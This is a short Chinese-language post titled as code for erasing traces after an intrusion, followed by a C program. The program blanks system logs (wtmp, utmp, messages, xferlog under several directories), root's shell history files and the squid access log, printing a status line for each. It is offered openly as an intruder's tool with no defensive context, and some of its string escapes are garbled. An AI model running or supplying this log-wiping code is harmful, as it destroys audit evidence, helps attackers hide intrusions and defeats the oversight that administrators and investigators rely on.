一個擦除入侵后線索的代碼！ 

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#include<stdio.h> 
#include<sys/types.h> 
#include<sys/stat.h> 
#include<fcntl.h> 

main() 
{ 
int fp; 
system("echo>/var/log/wtmp"); 
if((fp=open("/var/log/wtmp",O_TRUNC,0))==-1) 
{printf("Cleaned /var/log/wtmp.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /var/log/wtmp.......OK!n"); 
} 
system("echo>/var/log/utmp"); 
if((fp=open("/var/log/utmp",O_TRUNC,0))==-1) 
{printf("Cleaned /var/log/utmp.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /var/log/utmp.......OK!n"); 
} 

system("echo>/var/log/messages"); 
if((fp=open("/var/log/messages",O_TRUNC,0))==-1) 
{printf("Cleaned /var/log/messages.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /var/log/messages.......OK!n"); 
} 
system("echo>/var/log/xferlog"); 
if((fp=open("/var/log/xferlog",O_TRUNC,0))==-1) 
{printf("Cleaned /var/log/xferlog.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /var/log/xferlog.......OK!n"); 
} 

system("echo>/var/adm/wtmp"); 
if((fp=open("/var/adm/wtmp",O_TRUNC,0))==-1) 
{printf("Cleaned /var/adm/wtmp.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /var/adm/wtmp.......OK!n"); 
} 
system("echo>/var/adm/utmp"); 
if((fp=open("/var/adm/utmp",O_TRUNC,0))==-1) 
{printf("Cleaned /var/adm/utmp.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /var/adm/utmp.......OK!n"); 
} 

system("echo>/var/adm/messages"); 
if((fp=open("/var/adm/messages",O_TRUNC,0))==-1) 
{printf("Cleaned /var/adm/messages.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /var/adm/messages.......OK!n"); 
} 
system("echo>/var/adm/xferlog"); 
if((fp=open("/var/adm/xferlog",O_TRUNC,0))==-1) 
{printf("Cleaned /var/adm/xferlog.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /var/adm/xferlog.......OK!n"); 
} 




system("echo>/etc/wtmp"); 
if((fp=open("/etc/wtmp",O_TRUNC,0))==-1) 
{printf("Cleaned /etc/wtmp.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /etc/wtmp.......OK!n"); 
} 
system("echo>/etc/utmp"); 
if((fp=open("/etc/utmp",O_TRUNC,0))==-1) 
{printf("Cleaned /etc/utmp.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /etc/utmp.......OK!n"); 
} 

system("echo>/etc/messages"); 
if((fp=open("/etc/messages",O_TRUNC,0))==-1) 
{printf("Cleaned /etc/messages.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /etc/messages.......OK!n"); 
} 


system("echo>/root/.sh_history"); 
if((fp=open("/root/.sh_history",O_TRUNC,0))==-1) 
{printf("Cleaned /root/.sh_history.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /root/.sh_history.......OK!n"); 
} 

system("echo>/root/.bash_history"); 
if((fp=open("/root/.bash_history",O_TRUNC,0))==-1) 
{printf("Cleaned /root/.bash_history.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /root/.bash_history.......OK!n"); 
} 

system("echo>/usr/local/squid/logs/access.log"); 
if((fp=open("/usr/local/squid/logs/access.log",O_TRUNC,0))==-1) 
{printf("Cleaned /usr/local/squid/logs/access.log.......BAD!nn"); 
close(fp); 
} 
else 
{ 
printf("Cleaned /usr/local/squid/logs/access.log.......OK!n"); 
} 


printf("nn*****************do it by Kiss you !*********************nn"); 
}
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